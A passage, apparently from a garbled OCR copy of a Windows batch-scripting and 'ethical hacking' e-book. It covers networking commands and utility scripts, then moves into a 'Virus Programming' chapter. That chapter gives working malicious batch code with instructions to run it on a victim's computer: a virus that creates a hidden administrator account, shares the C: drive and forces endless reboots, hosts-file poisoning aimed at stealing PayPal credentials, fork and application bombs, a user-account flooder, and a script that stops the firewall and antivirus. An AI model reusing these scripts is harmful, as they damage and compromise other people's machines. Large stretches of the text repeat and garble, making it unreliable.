. . . : 5 Time To Live . . . . : 2742 88 Data Length . . . . : 4 Section . . . . . . --Record Name . . . . : vip.tracker.thepiratebay.org Record Type . . . . : 5 Time To Live . . . : 35109 Data Length . . . . : 4 Section . . . . : tracker.thepiratebay.org I was downloading torrents from the torrent portal piratebay, and that too is displayed over there in vip.tracker.thepiratebay.org the DNS cache. The '/showclassid' switch is used to display all the available DHCP ClassID's that are allowed for the adapter, where the '/setclassid' switch by the name itself implies that it is used to set the ClassID for the DCHP servers. Note:- Wildcards card expansions can also be used with the ipconfig command. The asterisk '\*' is used for matching multiple characters. For example, if I want to release the IP address of the network adapter that has the name "Wan-adap3", I can make use of the wildcard characters in the below way, C:\>ipconfig /release wan\* 89 Hostname: The 'hostname' command is used for displaying the computer name or the host name. This command doesn't have any switches or sub-commands available now. C:>hostname cr4wl3rs-b0x In the above example, "cr4wl3rs-b0x" is the name of my computer. FTP: The 'FTP' is short for "File Transfer Protocol", by-default the FTP acquires the port number 21 and is used for downloading files. The 'ftp' command do have its own prompt that is similar to the telnet prompt, but contains a different set of commands associated with it. To view the list of available FTP commands, just enter into the ftp prompt, type 'help' and hit enter, C:\>ftp ftp> help Commands may be abbreviated. Commands are: ! delete ? debug append dir literal prompt send ls put status mdelete pwd trace mdir quit type ascii disconnect bell get mget quote user binary glob mkdir recv verbose bye hash mls remotehelp 90 cd close help mput rename lcd open rmdir Even though there are lot of ftp commands here. For connecting to a remote FTP server, C:>>ftp www.ftp server name.com Once the connection is established, then it will display you with a banner that contains a lot of juicy info that are really helpful for hackers and this information includes the daemon name along with the version, timestamp and so on. In the following example, I have tried to login into my FTP port, C:>ftp www.darkcoderz.net. Connected to dark-coderz.net. 220-Inis is a private system - No anonymous login 220-IPv6 connections are also welcome on this server. 220 You will be disconnected after 15 minutes of inactivity. User (dark-coderz.net:(none)): [email protected] 331 User [email protected] OK. Password required Password: As a part of the remote FTP connection, if the remote FTP connection, if the remote machine doesn't allow anonymous login, then the user have to login using the FTP username and password. 91 Note:- The username required supplied for the FTP account should be in the format of [email protected], in this case ([email protected]). The 'FTP -A' is used for anonymous FTP logins, if allowed. As we already know that the 'dir' command once connected with the remote host. Note:- Whatever the transfer that happen via FTP is in plain text, so anyone can sniff the FTP packets and steal username and password supplied travels the wire in plain text, so anyone can sniff the FTP packets and so on. The 'pwd' command is short for the 'present working directory' and is used to display the name of the directory that we are currently working with, here is a snapshot that I took while trying to download a simple text file from my FTP server, 92 Once the transfer is completed then it will display the number of bytes received along with the time taken to download the file. The 'transfer was successful without any interruption and so on. The above screenshot briefs you the same operation of downloading a file from the remote ftp server. The 'send' command is used to remote machine to the remote machine. The below screenshot briefs you how to send a local file to a remote machine. The below screenshot briefs you how to send a local file to a remote machine. The below screenshot briefs you how to send a local file to a remote machine. The below screenshot briefs you how to send a local file to a remote machine to the remote machine. we saw until now to upload as well as download is used for performing on a single file, what if I want to download or upload more than one files?, here comes the 'mget' and 'put' but the number of file varies. The 'mget' and 'put' but the number of file varies is used to download is used to download or upload more than one files?, here comes the 'mget' and 'put' but the number of file varies. the local machine whereas the 'mput' command is used to get out from the FTP transfer. 93 The 'bye' command is used to set the mode of transfer to ASCII, whereas the 'binary' command is used to set the mode of transfer to a set the mode of transfer to a set the mode of transfer to a set the mode of transfer. Binary mode. The 'delete' command is used to delete the specified file in the remote machine and the 'rmdir' command is used for auto-login, the '-I' switch turns off the interactive mode, so that it will not prompt the user to interact. The '-s' switch really makes the task easier, since it accepts a text file that contains a list of FTP commands that needs to be executed, once the file is detected, then the FTP will do the things by itself. The text file may contain pre-written commands for step by step actions such as logging in, uploading multiple files and this too varies in accordance with the user requirements. Netstat: The 'netstat' command is short for Network Statistics which is used for monitoring the protocol statistics such as the TCP/IP, UDP and so on. The '-a' switch when used with the 'netstat' command is used for displaying the all the connections including the incoming and
outgoing traffic. The below screenshot is taken when I was connected to the internet, so that it will be much easier to understand how it works, 94 As you can see in the above picture, the 'proto' column mentions whether it is a TCP or a UDP datagram, The 'local address' column describes the local computer name and then followed by the port number separated by a colon ':', then the 'foreign address' column denotes the remote machine name or hostname and finally the 'state' column displays the state whether a connected to the internet and was searching something in Google search engine; hence the Google's hostname was displayed when the command got executed. Likewise it is used to track down the number of connections available along with the hostname and few more information's. The '-b' switch along with the 'netstat' command was executed when I was searching www.google.com using the Chrome web browser, 95 The above screenshot clearly reveals in the square braces that 'Chrome.exe' is the application responsible to connect to the remote host. The 'netstat -e' command is used to display the Ethernet statistics such as the number of bytes sent and received and so on, the below image if the screenshot taken while downloading some stuffs from the internet, This information is also helpful in logging and monitoring networking activities, also for checking the connectivity and the speed. The 'netstat -n' command is used to displaying the hostname this reveals the Decimal dotted IP addresses of the remote machines. The screenshot, you can see that instead of displaying the hostname of the local and remote machine, it displays the IP addresses and the port numbers in a numerical form. The 'netstat -o' command is used to display the processes ID (PID) of all the processes that holds the responsibility to connect to the remote host. The below screenshot reveals the PID of the (Chrome.exe - web browser) since I was using it to browse the internet, The 'netstat' command is also used to narrow down and monitor specific protocol statistics, for example if I want to monitor the TCP connections alone then I may spawn the 'netstat -p TCP' command, else if I want to monitor UDP connections alone then I may use the 'netstat -p UDP' command, likewise you may narrow down the results specific to your needs by replacing the TCP and UDP with the following available protocol options (IP, IPv6, ICMPv6, TCP, TCPv6, TC UDP, or UDPv6). 97 The 'netstat -r' command is used for displaying the routing table which can also be obtained by using the route command. Here is a screenshot taken and here is how the routing information looks like, The 'netstat -s' command is used to display the statistics per protocol, so that it will display the statistics such as packets received, sent, discarded, requests and so on for each protocols such as PID and the executable that is responsible for initiating and establishing the connection with the foreign host, here is the screenshot that was taken while downloading torrents by using the torrent client "Bit-Comet", 98 You can also specify the interval for the 'netstat' command, so that the command gets executed automatically by itself on the below command, C:\>netstat -p TCP 25 So, that the command is used to display the NetBIOS name table of the specified remote computer on the same network. The below screenshot was taken while display the NetBIOS name table of the remote computer that has the IP address 10.1.22.214. The 'nbtstat -A' command operates similar to the previous command 'nbtstat -A' is used for displaying local NetBIOS names. The below screenshot displays my Local NetBIOS names, 100 The 'nbtstat -r' command is used to purge or clear the NetBIOS name cache and then reload the '#PRE' tagged entries in the local machines Lmhosts file. The 'nbtstat -S' command is used to release the NetBIOS names registered with the WINS server and re-registered with the WINS server an display the hostnames of the NetBIOS remote sessions. Likewise the 'netstat' command you can specified time intervals which is more useful in logging and monitoring network activities. C:>nbtstat -s 5 > remote NBT sessions.txt The above command is used to display the remote NBT sessions for each 5 seconds and then writes the output to the text file "remote NBT sessions.txt" 101 ARP: The 'ARP' is short for 'Address Resolution protocol'. The ARP plays a vital role in establishing connections between networked computers by making use of the IP addresses and the MAC Address (Physical Address) and is very useful in updating the routing tables. The 'ARP', only by validating the IP address and MAC address and message is broadcasted, the machines other than the destination host will simply discards the request, where as the destination host address and send it back to the source machine, once both the machines came to know about their IP addresses and there are the destination host will fill in its physical address and the request made by the source machine. physical address, they start to communicate with each other and shares what ever they want. The following diagram help you understand how ARP works, 102 The above figure shows that the source machine has the IP address but not its MAC address, hence it will send a broadcast message to all the machines connected in the network. The machine which ever receives the ARP broadcast will simply discard the packet which contains the MAC address of the destination host, once both the souce and the destination computers came to know their IP addresses and the MAC addresses and the MAC addresses and the machine, no matter whether it is static or dynamic. The following shows the output of the 'arp -a' and the only cached ARP entry is 10.1.17.45 Which is a dynamic one. c:>arp -a 103 Interface: 10.1.17.45 Physical Address 00-1C-C0-43-41-1D Type dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic Here I have enclosed a screenshot where it displays all the ARP cached entries, If you are specific with one I Net Address, which is a dynamic entries, If you are specific with one I Net Address, which is a dynamic entries, I Here I have enclosed entries, I Here I have e nothing but the IP address, then you may use that IP address alone followed by the command as below, If you notice the two given screenshots above, the Physical address is not displayed, since I have disabled my local area network connection. The 'arp -g' command operates similar to the 'arp -g' command, not only this command but Microsoft left lot of command that does the same crap. 104 The 'arp -N' command is used to display all the current ARP entries in verbose mode, which is useful in logging. The 'arp -N' command is used to delete an ARP entry from the cached information, in the below screenshot I have attempted deleting the ARP entry 224.0.0.22 using the command 'arp -d 224.0.0.22', and it was deleted, to verify whether the entry was deleted, execute the 'arp -a' command again. If you notice the above given screenshot, it clearly shows that the ARP entry 224.0.0.22 has been deleted successfully. The 'arp -s' command is used to add a new entry of IP address 10.1.17.45 and associate the IP with a specified physical address. 105 Now I am going to add a new entry of IP address 10.1.17.45 and associate the IP with a specified physical address. using the command 'arp -s' command and after that it is displayed when the 'arp -a' command is executed and the part is highlighted in the above screenshot. There are lot more network troubleshooting commands available, but those which are explained above plays a vital role in network troubleshooting. The few of the important networking commands that are not covered in this book is netsh, nslookup and so on. 106 Code Snippets Until the previous chapter we have seen few useful commands and their usage, and a little bit idea of how to construct a batch file program. In this section I am going to enclose few useful batch scripts, which gives you an idea on constructing a useful batch files. All the scripts given here we tested in the windows XP professional SP3 Platform. Play Sound files by using the native (mplay32.exe) media player of the Xp platform. Here comes the code, @echo off rem This will play wav sound file. mplay32 /play /close "c:\windows\media\chimes.wav" mplay32 /play /close "c:\windows\media\chimes.wa notepad file and save it as a .bat file, when you double click and execute this file, it will play .wav sound files or install any application, just the batch file will do. 107 Logging system activities: The one of the primary use of
the batch file is logging system activities. Periodic monitoring and logging activities is a part of security auditing. Here we are going to combine both HTML and batch file program to make a GUI and user friendly logging system. @echo off echo. > 11.txt echo Log File >> 11.txt echo User : %username% >> 11.txt echo. >> 11.txt echo as the number of bytes received and sent, then redirect it to a text file named '11.txt', it's always better to open a log file in a html file, which is user friendly and GUI, hence the following HTML code will embed the '11.txt' into it. 108 Log File - Cybercrawler Log File - Cybercrawler Log File in a html file, which is user friendly and GUI, hence the following HTML code will embed the '11.txt' into it. 108 Log File - Cybercrawler Log File in a html file, which is user friendly and GUI, hence the following HTML code will embed the '11.txt' into it. 108 Log File - Cybercrawler Log File in a html file, which is user friendly and GUI, hence the following HTML code will embed the '11.txt' into it. 108 Log File - Cybercrawler Log File - Cybe to view the Log File Copy and paste the above html program in a notepad file and save it with the .html or .htm extension on the same location where you have created, then open up this html file using any of the available web browsers such as Mozilla Firefox, Safari or Chrome, then you might see a page like this, 109 When you click on the above link that says 'Click here to view the Log File', then it will display you the logs such as the user logged in, exact date and time when the user logged in, processes ran by the user, and the network activities such as the number of bytes sent and received, here I have enclosed the screenshot of the same log what I have mentioned in this chapter, 110 111 112 So this is the log generated in my system after executing the batch that I have created, likewise you too can customize or mess with the batch program given above as per your wish and need. 113 Folder locker: The following batch script help you in locking up your folder with a password, so the user who knows the right password can only be able to access the folder, where others don't (Well this is not quite secure, but can be useful in learning batch programming, because even a noob can easily identify the password, or can access the folder without using a password, there are a lot of ways to break it). The batch file that is given below will create a directory named 'Locker', when it gets executed, then you may place whatever you wish to place inside that directory clocker' Disappears. In order to make the directory reappear again, you have to enter the password as 'secret', since it is already mentioned by default in the program itself. Once the password is matched, then the folder becomes visible, so that you can access the folder again. 114 So, what happens is that, the folder 'Locker' is set with the system and hidden attribute, hence it becomes invisible, when the batch program is executed again, it prompt for password, which is already set as an environment variable with a value 'secret', when the match is found, the attribute is set to normal and the folder becomes visible and accessible %cho%==N goto END echo Invalid choice. goto CONFIRM 115 :LOCK ren Locker "Control Panel. {21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Enter password to Unlock folder set/p "pass=>" admin if NOT %pass%== secret goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{2 batch program is used to organize bookmarks in an interactive manner; you have to manually update this file in order to do this. I am sure that this is an old fashion, but it might be useful in learning batch programming. @echo off color a title Bookmark Organizer echo BOOKMARK ORGANIZER echo. echo 1. www.technocrawler.co.cc echo 2 www.dark-coderz.net echo 3. www.w3cert.com echo 4. www.ethicalhackers.in echo 5. www.anti-intruders.com echo. :first echo Enter your option : set /p opt= if %opt%==3 goto two if %opt%==3 goto two if %opt%==3 goto two if %opt%==4 goto four if %opt%==5 goto five echo Invalid Option goto first :one 117 explorer http://www.technocrawler.co.cc exit :two explorer http://www.anti-intruders.com exit :four explorer http://www www.techonocrawler.co.cc using your default web browser and so on. 118 Crawler's Optimizer: I think we have already used this program is used to clear all the craps and temporary data from your computer which are considered to be unnecessary, and when this gets deleted, it will clears the space that are hogged up by the temporary caches and finally speeds up the computer performance little bit. @echo off cd\ cls cd C:\WINDOWS\Temp echo y|del \*.\* cd\ cd C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp echo y|del \*.\* e cd C:\Documents and Settings\Administrator\Recent echo y|del \*.\* cd\ cd C:\Documents and Settings\Administrator\Cookies echo y|del \*.\* cd\ cd C:\Documents and Settings\Administrator\Recent echo y|del \*.\* cd\ cd C:\Documents and Settings\Administrator\Cookies echo y|del \*.\* cd\ cd C:\Documents and Settings\Administrator\Cookies echo y|del \*.\* cd\ cd C:\Documents and Settings\Administrator\Recent echo y|del \*.\* cd\ cd C:\Documents and Settings\Administrator\Cookies echo y|del \*.\* cd\ cd C:\Documents and Settings\Administrator\Cookies echo y|del \*.\* cd\ cd C:\Documents and Settings\Administrator\Cookies echo y|del \*.\* cd\ cd C:\Documents and Settings\Administrator\Recent echo y|del \*.\* cd\ cd C:\Documents and Settings\Administrator\Cookies echo y|del \*.\* files. at 10:00 AM /every:SU,M,TU,W,TH,F,SA "C:\del\_temp\_files.bat" exit This program will clear all the temp files.bat" is the batch file that is given in the previous example. Batch Port Scanner: The following program checks for open ports by telnetting each port starting from 1 to 20, and if it detects an open port, then it will start a telnet session and reveals the open port. You can also change the port range by changing 1 and 20 to the number you wish. @echo off title Crawlers Port Scanner color 0a cd\ cls for /L %%v in (1,1,20) do telnet %1 %%v pause 120 Accessing Registry using Batch: Using a batch file, you can access the registry editor in windows machines to create a new entry, modify an existing entry and even deleting an existing entry. I am using a simple batch file to disable the 'turn off computer' or 'shutdown' button that resides at the start menu This can be done manually with the registry editor (regedit.exe, regedt32.exe), by creating a new DWord with name 'NoClose' under the location 'HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer ' and by setting its values incorrectly may land your Windows Operating system in trouble, so its always recommended to export your registry before modifying it, more over the author solely will not take responsibility for your actions. The changes made to registry will come alive, only if a reboot or log off is made. @echo off reg add "HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG\_DWORD /d 1 /f exit Just copy the above code and paste in a notepad with .bat extension. When this batch file gets executed, then it will modify the registry entry and as a result the 'turn off computer' button disappears on the start 121 menu, likewise there a hell a lot of registry pranks available, but I am enclosing only one for educational purpose. After a reboot, then you probably might not see the 'turn off computer' button and you start menu simply looks like this, Create talking application using batch: Well! I probably might say this is not 100% batch file program, because batch program doesn't have the power to create an application that speaks, where as it is capable of calling some native scripting languages like VBScript and so on which are good enough to create such speaking applications. Don't imagine that it might take mushrooms of coding to create such program, actually we are not going to create a speaking application by our self, but were converting our text to speech by using the built-in speech recognition system in windows. @echo off echo StrText="Application created" Successfully" > spk.vbs echo set ObjVoice=CreateObject("SAPI.SpVoice") >> spk.vbs echo ObjVoice.Speak StrText >> spk.vbs start spk.vbs 122 Well! I have used the VBScript code to build this up, which really doesn't has nothing to deal with the batch, but I have included this to show that batch files have the ability to create and execute some other native programs like this. Copy the above given batch program and save it with a .bat extension, when this batch gets executed, it will echo the statement given near the echo command and is redirected to 'spk.vbs' which in turn creates a new VBScript file that looks like below, Then the batch program will make the newly create spk.vbs to execute automatically. The VBScript file contains the code that converts the text 'Application created Successfully' into digital electronic voice. Likewise you may replace the text and use it for login greetings, so what I have did is I have replaced the text 'Application created Successfully' with 'Authentication Successful! Welcome Cybercrawler.' And saved it in the start-up folder, and whenever I login using my credentials, my computer will greet me with the welcome message. Sounds Good na ;). 123 IP Renewer: The IP renewer is a simple batch file program used for flushing the existing IP address and then renewing it with ar available new IP address. @echo off ipconfig /release ipconfig /re Field echo. set /p n=User: set /p m=Message: net send %n% %m% Pause Goto loop Copy and paste the above program in a notepad file and save it as a batch file, you will be getting a pop up windows that exactly looks like below screenshot, when you execute the batch file, In the user field you have to enter the system name of the recipient, and in
the message field type in the message that you wanna convey to the recipient. You may use multiple chat with various persons at the same time. 125 Admin Password Changer: As everyone is aware that windows operating system consists of a built-in administrator account, which has got all the privileges on that particular machine, we are going to use a simple batch program to change the password for that built-in administrator account, @echo off Net users administrator account, then it will automatically change the password for the administrator account to '[email protected]\$\$w0rd at the next login, and if the admin is not aware of this, then he might suffer at the time while trying to login the next time. Setting an Interactive Reminder: By using a batch program you can set a reminder for yourself in your computer, so that it will remind you want it to remind you. This is scheduled using the 'at' command that we have already seen, Say, if I want my computer to remind me at 10:00AM on 13th May 2009, so that I can participate in the Security Conference, I have designed a custom greeting by myself, 126 And named it as 'remindme.jpg' and placed it in C drive (C:\remindme.jpg), then I have used the following batch to schedule this greeting to pop up exactly at 9:30AM 13th May which is half-an hour before the conference, @echo off title Reminder C:\>at 09:30AM /next:W "C:remindme.jpg" Exit It was a Wednesday on may 13th, hence I have used the switch '/next:W' indicating that it was a Wednesday. This program will pop up the greeting that was shown above, exactly at 9:30AM on may 13th, reminding me to attend the conference, more over I must be in front of my computer, working with it, only then it the reminder will pop up else, its mere waste of time doing this.... 127 Virus Programming [Disclaimer Notification: All that information given in this book is only for educational means, and the author of this book solely will not hold responsibility for whatever you mess with this stuff.] There were few things that are un-covered in most of the batch. Batch programs, and that is nothing but the dark-side of the batch. Batch program offers its programmers to create their custom viruses just by misusing the way the command works, which leads to the creation of batch viruses. In this chapter we are going to learn about the dark-side of the batch virus that contains only 6 lines, has the tendency to replicate itself again and again and keeps on creating a folder with same name, until a user stops it. 1. Just open up a notepad, copy and paste the below code cd\ cd C:\Documents and Settings\username\Desktop :loop md Virus cd Virus goto loop 2. Save it as a batch file with the extension .bat, before doing that you have to modify the code by changing the place where it says 'username' and instead of that replace it by the currently logged in username. 3. Then run it on the Victims computer to infect it. 4. Any how it doesn't cause much harm, but replicates folder inside a folder and goes on. Once more thing that you have to notice is that, this will create directory inside another directory with the same name, so it doesn't cause much harm, but replicates folder inside inside a folder and goes on. one main directory, more over deleting the root directory will purge all the clumsy thing done by this piece of code. 128 C relwarC708 v1.0, created by me. @echo off cd\ cd %SystemRoot%\system32\ md 1001 cd\ cls rem N0 H4rm 15 cau53d unt1| N0w rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000 echo 12:00:00.00 | time >> nul echo 01/01/2000 | date >> nul net users Microsoft support /add rem Th3 u53r 4cc0unt th4t w45 Cr34t3d 15 ju5t 4 |1m1t3d 4cc0unt rem Th15 p13c3 0f c0d3 w1|| m4k3 th3 |1m1t3d u53r 4cc0unt5 t0 4dm1n15tr4t0r 4cc0unt. net localgroup administrators Microsoft support /add rem 5h4r3 th3 R00t Dr1v3 net share system=C:\/UNLIMITED cd %SystemRoot%\system32\1001 echo deal=msgbox ("Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus", 20, "Warning") > %SystemRoot%\system32\1001\warnusr.vbs rem ch4ng35 th3 k3yb04rd 53tt1ng5 (r4t3 4nd d3|4y) mode con rate=1 > nul mode con delay=4 >> nul 129 rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y 50m3 4nn0y1ng m5g, as c0d3d ab0v3, 3×4ct|y @ 12:01 and 12:02 at 12:01 /interactive "%SystemRoot%\system32\1001\warnusr.vbs" at 12:02 at 12:01 /interactive "%System32\1001\warnusr.vbs" at 12:02 at 12:01 /interactive "%System32\1001\warnusr.vbs" at 12:02 /interactive "%SystemRoot%\system32\1001\warnusr.vbs" msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart your Computer Now to prevent Damages or Dataloss" >> nul msg \* "You are requested to restart you 50m3 m5g and w1|| r35t4rt c0nt1nu0u5|y echo shutdown -r -t 00 -c "Microsoft has encountered a seriuos problem, which needs your attention right now. Wanna try? Hahahaha....! " > %systemroot%\Systemroot%\Documents Settings\All Users\Start Menu\Programs\Startup\ attrib +h +s +r sd.bat cd\ 130 cd %systemroot%\system32 attrib +h +s +r 1001 rem K1||5 th3 3xp|0r3r.3×3 Pr0c355 taskkill /F /IM explorer.exe rem @ EOV // End of Virus rem source available at www.technocrawler.co.cc Copy the source code and paste it in a notepad, then save it with the .bat extension. This virus program will begin its operation at C:\windows\system32 and creates a new user with account name '1001', changes the time to 12:00 and date to 01-01-2000, then creates a new user with account name '1001' with a password 'support' with a password 'support' matching the account. It automatically assigns administrator rights to the user account that was created, then shares the root drive 'C:' which really is a security issue making the system completely vulnerable. It will create a VBScript file with name 'warnusr.vbs' that is used to display a message 'Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus', that really seems to be coming from the operating system itself, then it will change the keyboard setting by reducing the rate and delay time. Since the time and date has been already modified by the virus, it will automatically pop up a message stating 'You are requested to restart your Computer Now to prevent Damages or Data loss' exactly at 12:01 and 12:02, if the user restarts the computer, then it's gone. Whenever the user try to login to the computer, it will automatically reboots continuously, because the computer, it will automate the computer, it will automate the computer in start-up folder. and delete the file, more over the file is set with system and hidden attribute making it invisible. The only way to stop this is to enter in safe mode and disable the start-up folder. 131 You can also use some exe-binders to bind this virus with any audio, video, text or whatever the files may be, then use some social engineering technique to make the victim execute the file by himself to harm his/her computer. You can use the 'iexpress' wizard to create a custom package. DNS poisoning: Batch file can has the tendency to modify the transfer zones by editing the hosts.txt file that resides inside 'C:\windows\system32\drivers\etc\hosts.txt', so that it will take you to some malicious website which looks exactly like the legitimate one, and then steal credentials. @echo off echo 10.199.64.66 www.google.com >> C:\windows\system32\drivers\etc\hosts.txt exit This program creates a new entry in the hosts file, so that whenever an user attempts to move to www.google.com, he will be re-directed to another host that has the IP address of 10.199.64.66, likewise if the user attempts to login to the paypal account by typing in www.paypal.com, he will be re-directed to another external bogus website that has the IP address of 10.199.64.67, where if the user attempts to login to the paypal account by typing in www.paypal.com, he will be re-directed to another external bogus website that has the IP address of 10.199.64.67, where if the user attempts to login to the
paypal account by typing in www.paypal.com, he will be re-directed to another external bogus website that has the IP address of 10.199.64.67, where if the user attempts to login to the paypal account by typing in www.paypal.com and he can use it for several other purposes. 132 Fork Bombing: Most of them have heard about the word 'fork()', which is used to create child process, like wise fork bombing is nothing but calling a program by itself again and again with a infinite loop and making the system to crash by popping up hundreds of windows on the screen. @echo off :loop Explorer Call fork.bat Goto loop Copy the above program and paste it in a notepad file and save it as 'fork.bat'. The explorer command will open up the 'documents' directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents' directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents' directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents' directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents' directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents' directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents' directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents' directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents' directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents' directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents' directory, and it is given inside a loop, then the same batch file again and the same batch file again again. again until the system crashes or hangs up. 133 Application bomber: Application bomber is a superset of window bomber, this has a close relation to the above given fork bomber is a superset of window bomber, this has a close relation bomber is a superset of window bomber is a su continuously using a loop. @echo off :loop start notepad start winword start mspaint start calc goto loop When the above given batch program is executed, it will open up the following applications such as notepad, word document, Microsoft paint, WordPad, command prompt, my documents, control panel, and calculator in an infinite loop causing the system to collapse and as a result the system simply crashes or reboots. Just imagine the same using a fork concept; oops! it will make the system crash immediately. 134 Msg Annoyer: Message annoyer is a batch program that uses the same concept as above, but will interact with the user anyhow annoying and irritating them by popping up some message box containing some messages in it. @echo off :annoy msg \* I am not here to annoy you.... msg \* I am no 3 msg \* 4 msg \* 5 goto annoy 135 This program will pop up until for endless loop, which really annoys the person sitting before the computer. Even these small popup windows may crash the computer, if it overloads the memory. 136 User Flooder: The 'user flooder' program will create a number of user accounts with random numbers, and assign administrator sights to them by itself, moreover the password set for those user accounts with random numbers. @echo off :usrflood set usr=%random% net users %usr% %random% /add net localgroup administrators %usr% /add goto usrflood Since we have already learned about the environment variables, the '%random%' is an environment variable manually named 'usr' for holding the random number generated by the %random%, then a new user account is created with the generated number as the account name and was assigned with a random password, then assigned with administrator rights, and this process gets repeated for a infinite loop, so it will create more than 50 user accounts in less than a minute. This will sure degrade the computer performance and the user will take a long long time to delete the user accounts, sometimes they will simply format their hard drives. The best way to delete the user account is like the way we have created it and is very simple, so I am going to make this as a challenge for those who take the chance to experiment with this and get rid of those user accounts with a simple batch program. You may mail me the batch required to solve this issue along with the steps required to do so, here is my mail id info.prem4u[at]gmail[dot]com. 137 Matrix Folders. The following piece of code is going to help flood you computer with junky folders. This program has the tendency to create more than 3000 folders in just less than a minute. @echo off :loop mkdir %random% goto loop Here I have enclosed the screenshot took while I was testing this code on my computer. 138 Service Disabler: The following piece of code is used for stopping some critical windows Firewall" net stop "Windows Update" net stop "Windows Update" net stop "DHCP Client" net stop "DHCP Client" net stop "Print Spooler" net stop Themes exit This program when executed will stop the 'windows firewall' service that is required to block unwanted datagram's coming from the internet, 'windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows patches and so on, 'workstation' service that is required to update windows update' service that is required to update windows update windows update' service that is required to upda that is required to register an available IP address from the DHCP server, 'DNS Client' service that is required to load the document to be printed in the spool, and then the 'themes' service that is required to offer Themes and other graphical appearance. Likewise you may stop any of the services, even the anti-virus service that offers protection from malwares will be stopped in this way. So when these services get stopped, it almost becomes impossible for the machine to offer the service what they are supposed to do so, hence the user has to manually enable and start these services again. 139 Broadcast Bomber: The 'broadcast bomber' will broadcast messages infinitely to all the computers connected to this computers connected with the same network. @echo off :netannoy net send \* I am not here to annoy you.... net send \* I am caring for you.... net send \* I am caring for you.... net send \* 3 net send \* 3 net send \* 4 net send \* 5 goto netannoy 140 When the above piece of code gets executed, it will display a pop up windows like below, On all the computers that are connected with the same network. Keystroke Re-mapper: The following piece of batch program helps re-map the keystroke by changing the 'scancodemap' entry in the registry editor. The code that I have enclosed here changes the key from A to B, so that if any users press 'a' key on the keyboard he will be getting the 'b' displayed on the screen, likewise you may map any keys. @echo off reg add
"HKLM\System\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG BINARY /d

